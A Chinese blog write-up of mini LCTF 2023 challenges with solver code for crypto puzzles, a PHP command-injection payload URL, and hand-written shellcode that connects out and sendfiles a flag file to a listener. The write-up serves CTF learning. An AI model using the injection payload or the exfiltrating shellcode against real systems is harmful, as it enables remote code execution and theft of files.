[mini LCTF 2023] 西电的部分网站首页 学无止境

[mini LCTF 2023] 西电的部分

石氏是时试 2024-06-06 12:00:02

简介[mini LCTF 2023] 西电的部分

感觉比赛还是很不错，就是有点难了，不过都是简单题重复更没意思。作出一道来就有一点收获。

misc1

签到题也不简单，已经很久不作misc了，感觉这东西需要安的东西太多，怕机子累坏了。

一个复合的wav声音文件，切出来多半个flaSSTV和一个压缩包。声音文件看频谱有密码

打开还是声音文件，用SSTV听得到图片-flag的尾吧

web1

web也有签到，虽然不研究这个，签个到还行。

打开网页看原代码有shell.php再打开看到原码

<?php

$a = $_GET["a"];
$b = $_GET["b"];
$c = $_GET["c"];
$d = $_GET["d"];
$e = $_GET["e"];
$f = $_GET["f"];
$g = $_GET["g"];

if(preg_match("/Error|ArrayIterator|SplFileObject/i", $a)) {
    die("你今天rce不了一点");
}
if(preg_match("/php/i", $b)) {
 die("别上?，想捣蛋啊哥们？");
}
if(preg_match("/Error|ArrayIterator/i", $c)) {
 die("你今天rce不了一点");
}

$class = new $a($b);
$str1 = substr($class->$c(),$d,$e);
$str2 = substr($class->$c(),$f,$g);
$str1($str2);

//flag.php

?>

想了半天用哪个内置的对象，查了网上有stdClass但这东西没有方法可用，看原码上提到Error想到用Exception这个有内置方法getMessage然后system就行了

http://45.77.145.0:200/shell.php?a=Exception&b=systemcat+fl*|base64&c=getMessage&d=0&e=6&f=6&g=14

得到base64编码的flag.php然后再解码

crypto/curvesigin

密码这块怎么没签到呢，原来签到在后边。这个题诸多坑。

from Crypto.Util.number import *
from secret import flag
import random

flag = flag.strip(b'miniLctf{').strip(b'}')
flag1 = bytes_to_long(flag[:len(flag)//2])
flag2 = bytes_to_long(flag[len(flag)//2:])

q = getPrime(80)
a,b,c = [random.randrange(1,q-1) for _ in "_what_is_this_equation_?_"][:3]

def add(P,Q):
	if P[0] != Q[0] and P[1] != Q[1]:
		t = ((Q[1]-P[1]) * inverse(Q[0]-P[0],q)) %q
	else:
		t = ((3*c*P[0]*P[0]+a) * inverse(2*b*P[1],q))%q
    
	x3 = b*inverse(c,q)*t*t - P[0] - Q[0]
	y3 = t*(P[0] - x3) - P[1]
	return (x3%q, y3%q)

def mul(t, A, B=0):
    if not t: return B
    return mul(t//2, add(A,A), B if not t&1 else add(B,A) if B else A)

G = (543964449142803087188784, 288605946000947449279542)
assert G[0] == flag1

Ps = []
ms = [random.randrange(1,q-1) for _ in "welcome_to_xxxctf2023"[:4]] + [flag2]
for m in ms:
    P = mul(m,G)
    Ps.append(P)
print(f'G = {G}
Ps = {Ps}')

'''
G = (543964449142803087188784, 288605946000947449279542)
Ps = [(615716520116903164238350, 815735349922061558569393), (256042693223413187255214, 400772499742719022770893), (620452972415969514798065, 660749148335795540667246), (118301218326000413235697, 338882909672963432813505), (793604064853039619406880, 93386361837996865025986)]
'''

就喜欢代码短的，一看就明白，这是个椭圆曲线加密最后后是求私钥，前边没给出方程，但给出斜率。

a,b,c = [random.randrange(1,q-1) for _ in "_what_is_this_equation_?_"][:3]
t = ((3*c*P[0]*P[0]+a) * inverse(2*b*P[1],q))%q

这里是第1个坑，斜率用到3个参数，题目也给出3个参数生成方法，其实方程是4个参数

$b*y^{2} = c*x^{3} + a*x + d$

先把b去掉

$y^{2} = a*x^{3} + b*x + c$

这里的d没说，因为斜率是求导得到的，常数项被导掉了。然后6个x,y求参数

由于有限域的模没给出，通过6个方程得到k*q

G = (543964449142803087188784, 288605946000947449279542)
Ps = [(615716520116903164238350, 815735349922061558569393), (256042693223413187255214, 400772499742719022770893), (620452972415969514798065, 660749148335795540667246), (118301218326000413235697, 338882909672963432813505), (793604064853039619406880, 93386361837996865025986)]
#

#1,求q
def fun5(g1,g2,g3,g4,g5,g6):
    x1,y1 = g1 
    x2,y2 = g2 
    x3,y3 = g3 
    x4,y4 = g4
    x5,y5 = g5 
    x6,y6 = g6
    A1 = (x3 - x4)*(y1**2 - y2**2) - (x1 - x2)*(y3**2 - y4**2)
    A2 = (x5 - x6)*(y1**2 - y2**2) - (x1 - x2)*(y5**2 - y6**2)
    B1 = (x1**3 - x2**3)*(x3 - x4) - (x3**3 - x4**3)*(x1 - x2)
    B2 = (x1**3 - x2**3)*(x5 - x6) - (x5**3 - x6**3)*(x1 - x2)
    
    return A1*B2 - A2*B1

v = ([G] + Ps)
kq = fun5( *v )

kq = 1659781780256202117320982411911907021129251124933071094831730558095985915900469756361610566671381121385960359097740745076076254241750071580595324136001810341690635932

因为已知q是80位，对kq分解可以得到q，不分解据说也行，可以直接用kq作模求参数

#2,对kq分解,找到q 
'''
P1 = 2
P1 = 2
P1 = 3
P1 = 7
P2 = 11
P4 = 2851
P6 = 142619
P6 = 341569
P9 = 121253203
P16 = 1364065646451691
P23 = 31026401285225228917603
P24 = 878502880971205563250537   <-----80位
P79 = 2868949361189169406203504733670610246297691354043115570120121449069654765161971
'''

#3,求参 两边都有参数，将方程左边的b除掉，看右边
q = 878502880971205563250537
C1,C2,C3,C4,C5,C6 = v 
P.<a,b,c>=PolynomialRing(Zmod(q))
f1 = a*C1[0]^3 + b*C1[0] + c - C1[1]^2 
f2 = a*C2[0]^3 + b*C2[0] + c - C2[1]^2 
f3 = a*C3[0]^3 + b*C3[0] + c - C3[1]^2 
f4 = a*C4[0]^3 + b*C4[0] + c - C4[1]^2 
f5 = a*C5[0]^3 + b*C5[0] + c - C5[1]^2 
f6 = a*C6[0]^3 + b*C6[0] + c - C6[1]^2 

F = [f1,f2,f3,f4,f5,f6]
Ideal = Ideal(F)
I = Ideal.groebner_basis()
print(I)
#[a + 662963051503062411245929, b + 405447704422414394053669, c + 189827742241355283851865]
a,b,c = -662963051503062411245929%q,-405447704422414394053669%q,-189827742241355283851865%q
#a,b,c = (215539829468143152004608, 473055176548791169196868, 688675138729850279398672)

然后这里的第2个坑，这个方程不是标准的椭圆方程形式，x项有参数，先将a取3次方根k，用kx代码x，对x轴进行缩放得到标准方程。

#4,对x轴向缩放，转换成标准方程
#4.1 令x = kx ,k^3 = a 求k
P.<x> = PolynomialRing(GF(q))  #
f = x^3 - a 
f.roots()
#[(430117650226655400246319, 1), (420974725922346296990896, 1), (27410504822203866013322, 1)]
k = 27410504822203866013322

#y^2 = (kx)^3 + A*kx + B 
A = b*pow(k,-1,q) 
B = c
x = G[0]*k%q
y = G[1]

#点G,m*G缩放后放入方程
E = EllipticCurve(GF(q), [A, B])
P = E(G[0]*k%q,G[1])
Q = E(Ps[-1][0]*k%q, Ps[-1][1])

然后这里因为q很小，可以直接求对数，不过出来的结果不正确。问了别人说可能m比order大,这里这rsa有点相似，rsa是加p-1，这里是加order不过这个方程本身多解，order也不是最简的，将order分解，最接近的就是1/2 order，用order/2爆破

#5,求私钥
m = discrete_log(Q, P, operation='+') 
m 
long_to_bytes(int(m))

#6, 估计这个G是曲线某个循环子群的生成元，阶是order的某个因子
#E.order() 878502880972065193795276
v = E.order()//2
for i in range(100):
    long_to_bytes(m+i*v)

'''
b"x10lx97+'2xfex82xa2
"
b'mput3__d1p'

miniLctf{s0_3@5y_c0mput3__d1p}
'''

crypto/guess

突然后边这个如此简单。

from secret import flag
from functools import reduce
from Crypto.Util.number import getPrime
from hashlib import sha256
import socketserver
import signal
import string 
import random
import gmpy2

N_SIZE=52
MOD_SIZE=50

def dec2blist(decimal, length):
    """
    Converts an integer to a binary list of a specified length, filling zeros on the left if necessary.
    """
    bitlist = []
    while decimal > 0:
        bit = decimal % 2
        bitlist.append(bit)
        decimal //= 2
    bitlist.reverse()
    if len(bitlist) < length:
        bitlist = [0] * (length - len(bitlist)) + bitlist
    return bitlist

def generate_prime_list(listlen:int,q:int):
    primes = []
    while len(primes) < listlen:
        n = random.randint(2, q-1)
        if gmpy2.is_prime(n):
            primes.append(n)
    return primes

def verify(prime_list,key,q,product):
    choice=dec2blist(key,len(prime_list))
    elements = [prime_list[i] for i in range(len(prime_list)) if choice[i]]
    newproduct = reduce((lambda x, y: x * y % q), elements)
    return product==newproduct

def product_mod_q(prime_list,q):
    l=len(prime_list)
    elements = random.sample(prime_list,random.randint(l//2,l))  #随机取n个
    product = reduce((lambda x, y: x * y % q), elements)
    return product

class Task(socketserver.BaseRequestHandler):
    def _recvall(self):
        BUFF_SIZE = 2048
        data = b''
        while True:
            part = self.request.recv(BUFF_SIZE)
            data += part
            if len(part) < BUFF_SIZE:
                break
        return data.strip()

    def send(self, msg, newline=True):
        try:
            if newline:
                msg += b'
'
            self.request.sendall(msg)
        except:
            pass

    def recv(self, prompt=b'[-] '):
        self.send(prompt, newline=False)
        return self._recvall()

    def proof_of_work(self):
        table = string.ascii_letters+string.digits
        proof = (''.join([random.choice(table)for _ in range(20)])).encode()
        sha = sha256(proof).hexdigest().encode()
        self.send(b"[+] sha256(XXXX+" + proof[4:] + b") == " + sha )
        XXXX = self.recv(prompt = b'[+] Plz Tell Me XXXX :')
        if len(XXXX) != 4 or sha256(XXXX + proof[4:]).hexdigest().encode() != sha:
            return False
        return True

    def handle(self):
        signal.alarm(233)

        self.send(b"Welcome to Gauss Frenzy! You need to complete the Proof of work first!")
        proof = self.proof_of_work()
        if not proof:
            self.request.close()
        
        q=getPrime(MOD_SIZE)   #50
        prime_list=generate_prime_list(N_SIZE,q)  #52个<q-1 素数

        self.send(b"Alice have some primes:
"+str(prime_list).encode()+b"
")
        
        product=product_mod_q(prime_list,q) #
        self.send(f"She picks some and multiplies them ,then mod {q} ,the product is {product}".encode())

        self.send(b"You should guess Alice's choice as the key to get the flag!
")
        
        for _ in range(5):
            try:
                key=int(self.recv(b"[-] key=
").decode())
            except Exception as e:
                self.send(str(e).encode())

            if(verify(prime_list,key,q,product)):
                self.send(f"Congratulations! Here's the flag for you 
{flag}".encode())
                self.request.close()
            else:
                self.send("Nope! Try again!".encode())

        self.send("Bye!")

class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    pass

class ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer):
    pass

if __name__ == "__main__":
    HOST, PORT = '0.0.0.0', 10001
    server = ForkedServer((HOST, PORT), Task)
    server.allow_reuse_address = True
    print(HOST, PORT)
    server.serve_forever()

感觉可以秒，但我来得太晚了，看到群里好多人说比赛才来，晚了一天。

题目看上去是个乘法背包问题，不过背包问题这个没有解法。

先后成52个大点的数，然后任选26-52个乘再取模，只要回复用的哪些数就行了，这个规划26以上是不可爆破的，不过反过来看如果用除法，先把所有数都乘一起再去数规模就不大了，这是个随机数，很大可能会非常靠近52，如果是48就可以秒出。所以用程序爆破，等到一个数很大的情况就OK了，由于比赛链接程序不劫持win7，所以虚机下不能作太大，最大爆破到5个数。

from pwn import *
from hashlib import sha256
from itertools import product 
from functools import reduce
import string 
from gmpy2 import invert 

def proof_of_work_2(suffix, hash): # sha256, suffix, known_hash
    table = string.digits + string.ascii_letters
    def judge(x): return sha256( x.encode()+suffix).digest().hex() == hash
    return util.iters.bruteforce(judge, table,length=4, method = 'fixed')


def conn():
    p = remote('127.0.0.1', 42837)
    
    #proof 
    #[+] sha256(XXXX+sA2ln63bJoakKsCH) == 703412e7644621fdc24f2a867503b12b1962098138734efcdfa492e8a0aa9ff3
    p.recvuntil(b"[+] sha256(XXXX+")
    tail = p.recvuntil(b') == ', drop=True)
    s256 = p.recvline().strip().decode()
    print(tail, s256)
    head = proof_of_work_2(tail, s256)
    p.sendlineafter(b'[+] Plz Tell Me XXXX :', head.encode())
    return p

def get_list():
    ra = [invert(v,q) for v in a]  #
    pro = 1
    for v in a:
        pro = pro*v%q 
    
    queue = {pro:[]}   #{value:[selected],...}

    for i in range(5):
        tmpque = {}
        for v in queue:
            for j in range(52):
                tv = v*ra[j]%q 
                used = queue[v]+[j]
                if tv == tag:
                    print(v,tv,used,queue[v])
                    return used
                tmpque[tv]= used
        queue = tmpque 
    return []

while True:
    p = conn()
    #get arg 
    p.recvuntil(b"Alice have some primes:
")
    a = eval(p.recvline())
    
    p.recvuntil(b"She picks some and multiplies them ,then mod ")
    q = int(p.recvuntil(b" ,the product is ", drop=True))

    tag = int(p.recvline())
    print(f"{a = }
{q = }
{tag = }")

    ok = get_list()

    if ok == []:
        print('Too small, I need least 46')
        p.close()
        continue
    
    nok = int(''.join(['1' if i not in ok else '0' for i in range(52)]),2)
    print('product:',nok)

    p.sendlineafter(b"[-] key=
", str(nok).encode())

    print(p.recvline())

    p.interactive()

'''
[*] Closed connection to 127.0.0.1 port 42837
[+] Opening connection to 127.0.0.1 on port 42837: Done
b'yUsiSbqI3CEkYDHQ' 6f4524747484866eddcc1d604703dcb12c543ec33256401cad151178967a2ebd
[+] Bruteforcing: Found key: "SYxS"
a = [692499566575429, 134409149748749, 653932750798099, 568575041179157, 417668664450083, 164345418891391, 315948694001401, 823878428502929, 355457066169631, 437549476740659, 574669373467697, 491164490580073, 900552220077271, 431433715245179, 820501600382939, 798872425216751, 284934127998571, 173026900187737, 913424022312407, 457769412178997, 352853959269067, 156247212471079, 728813442004363, 759954178481447, 85237894329787, 235453629681799, 769348518710293, 328880426484053, 113124598931221, 96587581662709, 193038793331903, 712655061930013, 867402730060049, 528836472166031, 256841059695403, 170909563018349, 186848057458607, 172285989871343, 421214319576881, 21590091037003, 784142317402777, 263674901435663, 715076995877687, 772147525631093, 547771349394097, 543719454650789, 7388868411101, 528418675320617, 114136387374553, 785217883772339, 507155426971961, 579007431282431]
q = 930809387620663
tag = 334916561117582
625299989058834 334916561117582 [35, 26, 4, 1, 41] [35, 26, 4, 1]
product: 3236962198551551
b"Congratulations! Here's the flag for you 
"
[*] Switching to interactive mode
b'miniL{C0ngr4tu1atio5!U_D0_KnOw_b4ckpacK!!!}'
'''

crypto/giveway

这个也很长，不过仔细看很简单，生成个大矩阵，然后用 flag乘给出结果，如果矩阵够大的话，直接可解，可问题是不够大。不过两次运行flag不变，所以干两次就够大了。来晚了

from secret import message
from functools import reduce
from hashlib import sha256
from Crypto.Util.number import bytes_to_long
import socketserver
import signal
import string 
import random

def dec2blist(decimal, length):
    """
    Converts an integer to a binary list of a specified length, filling zeros on the left if necessary.
    """
    bitlist = []
    while decimal > 0:
        bit = decimal % 2
        bitlist.append(bit)
        decimal //= 2
    bitlist.reverse()
    if len(bitlist) < length:
        bitlist = [0] * (length - len(bitlist)) + bitlist
    return bitlist

def bake(list1,list2):
    return reduce((lambda x,y: x ^ y) , list(map(lambda x, y: x and y, list1, list2)) )

def send_a_chocolate(self):
    assert len(bin(bytes_to_long(message)))-2==511
    dough=bytes_to_long(message)
    chocolate_jam=random.getrandbits(512)
    cookie=bake(dec2blist(dough, 512), dec2blist(chocolate_jam,512))
    self.send(f"[+] The lucky sticker reads ({cookie},{hex(chocolate_jam)}). Yummy!
".encode())


class Task(socketserver.BaseRequestHandler):
    def _recvall(self):
        BUFF_SIZE = 2048
        data = b''
        while True:
            part = self.request.recv(BUFF_SIZE)
            data += part
            if len(part) < BUFF_SIZE:
                break
        return data.strip()

    def send(self, msg, newline=True):
        try:
            if newline:
                msg += b'
'
            self.request.sendall(msg)
        except:
            pass

    def recv(self, prompt=b'[-] '):
        self.send(prompt, newline=False)
        return self._recvall()

    def proof_of_work(self):
        table = string.ascii_letters+string.digits
        proof = (''.join([random.choice(table)for _ in range(20)])).encode()
        sha = sha256(proof).hexdigest().encode()
        self.send(b"[+] sha256(XXXX+" + proof[4:] + b") == " + sha )
        XXXX = self.recv(prompt = b'[+] Plz Tell Me XXXX :')
        if len(XXXX) != 4 or sha256(XXXX + proof[4:]).hexdigest().encode() != sha:
            return False
        return True

    def sendmenu(self,coins):
        self.send(f"[+] Welcome to Flag Vending Machine! You have {coins} coins available. 
Please press the number to make your choice!
[1] Buy a chocolate cookie
[2] Top-up silver coins 
[3] Exit
".encode())

    def handle(self):
        signal.alarm(233)

        coins=random.randint(503,508)#Well ... Easy mode

        self.send(b"Chocolate Fortune Cookie For Sale! You need to complete the Proof of work first!")
        proof = self.proof_of_work()
        if not proof:
            self.request.close()
        
        while(coins):
            self.sendmenu(coins)
            try:
                choice=int(self.recv().decode())
            except Exception as e:
                self.send(str(e).encode())
                continue

            if (choice == 1 and coins > 0):
                coins -= 1
                send_a_chocolate(self)
            elif (choice == 2):
                self.send(b"[+] Error: The service is currently unavailable, please try again later :(
")
            elif (choice == 3):
                self.send(b"[+] Bye!
")
                self.request.close()
            else:
                self.send(b"[+] Please send 1/2/3 to make your choice!
")

        self.send(b"[+] Looks like you're out of coins... See you next time! Good luck!
")
        self.request.close()

class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    pass

class ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer):
    pass

if __name__ == "__main__":
    HOST, PORT = '0.0.0.0', 10007
    server = ForkedServer((HOST, PORT), Task)
    server.allow_reuse_address = True
    print(HOST, PORT)
    server.serve_forever()

第1步先取数，虽然有proof但挡不住我取两次。

from pwn import *
from hashlib import sha256
from itertools import product 
import string 
from gmpy2 import invert 


p = remote('127.0.0.1', 25890)
#context.log_level = 'debug'

#proof 
#[+] sha256(XXXX+sA2ln63bJoakKsCH) == 703412e7644621fdc24f2a867503b12b1962098138734efcdfa492e8a0aa9ff3
p.recvuntil(b"[+] sha256(XXXX+")
tail = p.recvuntil(b') == ', drop=True)
s256 = p.recvline().strip().decode()
print(tail, s256)

def proof_of_work_2(suffix, hash): # sha256, suffix, known_hash
    table = string.digits + string.ascii_letters
    def judge(x): return sha256( x.encode()+suffix).digest().hex() == hash
    return util.iters.bruteforce(judge, table,length=4, method = 'fixed')

head = proof_of_work_2(tail, s256)
p.sendlineafter(b'[+] Plz Tell Me XXXX :', head.encode())

#get 
#[+] The lucky sticker reads (0,0x4968e21f1625271295d2137bbfa872cbe94e374e82987a2e76d063f424f695738a86034abba35534911d72b3f5eb31153b62ad291c1f2199c054b21388edd239). Yummy!

for i in range(508):
    p.sendlineafter(b'[-] ', b'1')
    ret = p.recvline()
    if ret == b"[+] Please send 1/2/3 to make your choice!
":
        break 

    coo,jam = eval(ret[28:-9])
    print(coo,jam)

然后矩阵除

data = [..此处略去1000行..]
B = matrix(GF(2), 512, 1009)
for i in range(len(data)):
    v = bin(data[i][1])[2:].rjust(512,'0')
    for j in range(512):
        B[j,i] = int(v[j],2) 

C = vector(GF(2), [data[i][0] for i in range(len(data))])

A = B.solve_left(C)
v = ''.join(['0' if i==0 else '1' for i in A])
bytes.fromhex(hex(int(v,2))[2:])
#b'miniL{We1c0me_TO_M1niL2o23_Crypt0!} Enjoy the challenges ahead! '

后边几个等wp了。题很好就是会得少。最后1分钟交了个调查问卷终于进前10了。最后一条线，但是大佬的名字都太长了就显示不下小的了

pwn/ez_shellcode

赛完10分钟，问了一下，终于解决了。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int length; // [rsp+4h] [rbp-Ch]
  char *oo0Oo; // [rsp+8h] [rbp-8h]

  OooO0OOo();
  puts("Welcome to MiniL2023!!! Enjoy~");
  puts("Well, Let's play a game to warm up!");
  oo0Oo = (char *)mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
  memset(oo0Oo, 144, 0x1000uLL);
  length = read(0, ooooo0ooo0o, 0x40uLL);
  memcpy(oo0Oo, &unk_20E8, 0x30uLL);
  memcpy(oo0Oo + 48, ooooo0ooo0o, length);
  if ( o0o0o000o() )
    ((void (*)(void))oo0Oo)();
  return 0;
}
int __cdecl o0o0o000o()
{
  int fd1; // [rsp+8h] [rbp-828h]
  int fd2; // [rsp+Ch] [rbp-824h]
  char buf2[1024]; // [rsp+20h] [rbp-810h] BYREF
  char buf1[1024]; // [rsp+420h] [rbp-410h] BYREF
  unsigned __int64 v5; // [rsp+828h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  puts("I'll make sure flag is ready.");
  fd1 = open("flag1", 0);
  if ( fd1 >= 0 )
  {
    if ( read(fd1, buf2, 0x400uLL) > 0 )
    {
      fd2 = open("flag2", 0);
      if ( fd2 >= 0 )
      {
        if ( read(fd2, buf1, 0x400uLL) > 0 )
        {
          puts("Well, flag is ready.");
          close(fd1);
          close(fd1);                           // fd2未关闭
          memset(buf1, 0, sizeof(buf1));
          memset(buf1, 0, sizeof(buf1));
          close_seccomp();
          return 1;
        }
        else
        {
          puts("flag2 file is empty");
          return 0;
        }
      }
      else
      {
        puts("flag2 file doesn't exit");
        return 0;
      }
    }
    else
    {
      puts("flag1 file is empty");
      return 0;
    }
  }
  else
  {
    puts("flag1 file doesn't exit");
    return 0;
  }
}

题目很明了，先读入shellcode到mmap生成的rwx段，然后去执行。flag文件打开，flag2忘关掉，shellcode最长0x40，之前会关掉input,output,error，把除rip以外的寄存器清0,并仅保留socket,connect,sendfile 三个syscall。显然是socket,connect,sendfile，只是sendfile这块一直没成功。

shellcode分4块

第1块获取地址，代码如果用shellcraft生成会很长，这个都得手工写

lea rsp,[rip]+0x8f9; /* rbp = mmap+0x30+0x40 rip:0x37*/

第2块socket,不需要变的全省略

push rax
mov rax, 0x0100007f6c1e0002   /* sockaddr */
push rax

/* int socket(int domain, int type, int protocol); */
/* socket(AF_INET,SOCK_STREAM,0) */
/*cdq  rdx=0 */
mov dil,2
inc esi
push 0x29
pop rax
syscall

第3块connect

/* int connect(int sockfd, struct sockaddr *serv_addr, int addrlen); */
/*connect(socket_fd,rbp,0x10)  +0x70, +0x68:port:ip */
xor rdi,rdi
push rsp
pop rsi
mov dl,0x10
mov al, 0x2a
syscall

第4块sendfile （这里rdx需要指向0，而不是置0，就差这了，一直没成功）

/* ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count); */
push 4
pop rsi
push rsp
pop rdx
add rdx,8
push 0x50
pop r10
mov al,0x28
syscall

最后就发送就行了（这些都是本地调试的，真打应该找个有公网IP的机子，整个server收flag）

pay = asm(shellcode).ljust(0x40, b'x90')
p = process('./main')
#p = remote('pwn.blackbird.wang', 9550)
#gdb.attach(p, "b*0x0000555555555642
c")
#pause()
p.sendafter(b'up!
', pay)
p.recvline()
p.recvline()
pause()

server.py

import socket

tcp_server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
address = ('127.0.0.1', 7788)
tcp_server_socket.bind(address)
tcp_server_socket.listen(128)
client_socket, clientAddr = tcp_server_socket.accept()
print('connted',clientAddr)
recv_data = client_socket.recv(1024)
print('接收到的数据为:', recv_data)
client_socket.close()

风语者！平时喜欢研究各种技术，目前在从事后端开发工作，热爱生活、热爱工作。